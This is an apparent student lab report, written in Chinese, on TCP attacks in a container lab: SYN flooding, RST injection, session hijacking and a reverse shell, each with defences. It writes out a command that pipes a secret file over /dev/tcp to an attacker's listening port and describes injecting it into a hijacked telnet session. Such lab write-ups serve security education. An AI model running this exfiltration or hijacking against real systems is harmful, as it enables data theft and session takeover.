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一、 实验作业题目 

1. TCP SYN 泛洪攻击 

2. TCP RST 复位攻击 

3. TCP 会话劫持攻击 

4. 反向 Shell 连接 

 

二、 实验思路 

容器启动后，查看容器信息  

 

 

TCP SYN 泛洪攻击 

任务 1.1：使用 python 程序完成 SYN 泛洪攻击 

查看 syn_flood.py 脚本发现是发送 TCP 包给 10.9.0.5 的 23 端

口，在 seed-attacker 中运行该脚本。 

查 看 修 改 net.ipv4.tcp_max_syn_backlog 和

net.ipv4.tcp_synack_retries 参数，使攻击更容易实现。 

 

 

实验结果： 



一直都无法连接，导致超时连接中断。 

 

 

任务 1.2：使用 C 程序完成 SYN 泛洪攻击 

编译 C 语言程序后运行该程序 

使用命令 netstat -tna | grep SYN_RECV | wc -l 查看处于

“SYN_RECV”状态的端口数量 

 

实验结果： 

一直都无法连接，导致超时连接中断。 

 

 

任务 1.3：打开 SYN Cookie Countermeasure 再次进行实验 

打开 SYN Cookie Countermeasure，如果机器检测到它受到 

SYN 泛洪攻击，它将启动 countermeasure。 

 

实验结果： 

不能成功 



 

防御方法： 

增加 TCP backlog 队列、减少 SYN-RECEIVED 的时间、SYN 

Cookies 打开 

 

TCP RST 复位攻击 

 

查看 tcp_rst.py 脚本，修改相关网卡设置 

 

登陆成功 

连接丢失 



10.9.0.6 telnet 10.9.0.5后在攻击机运行 tcp_rst.py脚本发起攻

击，导致 telnet 连接丢失 

实验结果： 

仔细观察输出结果，可以发现这个包中的 RST 

 

防御方法： 

使用防火墙将进来的包带 RST 位的包丢弃、过滤 icmp 重定向报

文、建立连接验证机制 

 

TCP 会话劫持攻击 

使用 sniffer.py 捕获网卡的 TCP，运行 sniffer.py 后，在 10.9.0.5

上进行 telnet 连接并登录。 

登录后将 sniffer.py 脚本停止运行，用 wireshark 打开同一目录



下捕获到的流量包，找到最后一条 TCP 包，查看以下信息： 

 

源端口号：37802 

目的端口号：23 

TCP 的数据长度：0 

序列号：1590461915 

确认号：1084127024 

即攻击者发出的攻击包的序列号是 1590461915，攻击包的源

端口号和目的端口号应该分别是 37802 和 23 

创建 secret 文件后，在攻击端监听 9090 端口，在建立起 telnet

连 接 的 服 务 端 输 入 命 令 cat /home/seed/secret > 

/dev/tcp/10.9.0.1/9090，奖数据定向发送到攻击机的 9090 端口。 

查看攻击机的监听内容为 secret 文件内容 

 

重新运行 sniffer.py 获取序列号后修改 tcp_hijackin.py 脚本 



 

在攻击机监听 9090 端口后，重新打开一个攻击机容器运行

tcp_hijacking.py 

 

发现监听段口输出文件内容。 

 

攻击成功后，在客户端的 telnet 终端输入一些内容，会发现程

序不再对输入有任何响应，连接似乎冻结了。这是因为攻击者注入的

数据打乱了客户端和服务器之间的序列号 

我们重新利用 sniffer.py捕获TCP包，运行 sniffer.py后再 telnet

终端输入一些内容后终端，打开新生成的流量包。 



发现很多重传包 

 

防御方法： 

使用安全协议进行服务器与客户端的数据交换，使攻击者无法获

取数据包的序列号等信息 

 

反向 Shell 连接 

重新运行 sniffer.py 获取序列号后修改 tcp_hijackin.py 脚本 

 

攻击机 9090 端口后运行 tcp_hijackin.py 

 

建立起 



 

 

三、 实验分析及总结（写自己在实践过程中遇到的问题及解决方法；

本次实验体会、收获） 

问题：使用 C 程序完成 SYN 泛洪攻击时，无论如何修改参数

backlog 和 retries 都能 telnet 连接上，泛洪攻击失败。 

 

解决方法：查看 NoteB，可能是 user1 在进行 C 程序攻击前建

立了连接，所以 user1 免疫泛洪攻击。使用 ip tcp_metrics flush 即

可解决。 

 

问题：TCP RST 复位攻击 10.9.0.6 telnet 10.9.0.5 失败

 

解决办法：之前泛洪攻击仍在生效，重新进入容器即可 

 

问题： TCP 会话劫持攻击，运行 tcp_hijacking.py 后无法查看

到机密文件内容 

解决方法：因为按照手册内容获取到的序列号后还进行了文件重



定向到攻击者处（属于 tcp 数据包），序列进行了更新。我们重新执

行 sniffer.py 获取新的序列号即可  

 

体会及收获： 

在本次实验中，我理解了 TCP 不同攻击方式的原理与实现，

SYN 泛洪攻击通过耗尽服务器资源，使正常连接请求无法被处理。

TCP RST 复位攻击能轻易中断已建立的连接，凸显了连接验证机制

的必要性。而 TCP 会话劫持攻击则揭示了序列号管理不善带来的严

重安全隐患。 

通过实践，我学会了运用多种工具和编程语言来模拟这些攻击。

同时，也掌握了相应的防御方法，遇到问题并解决的过程极大地提升

了我的问题排查和解决能力。 


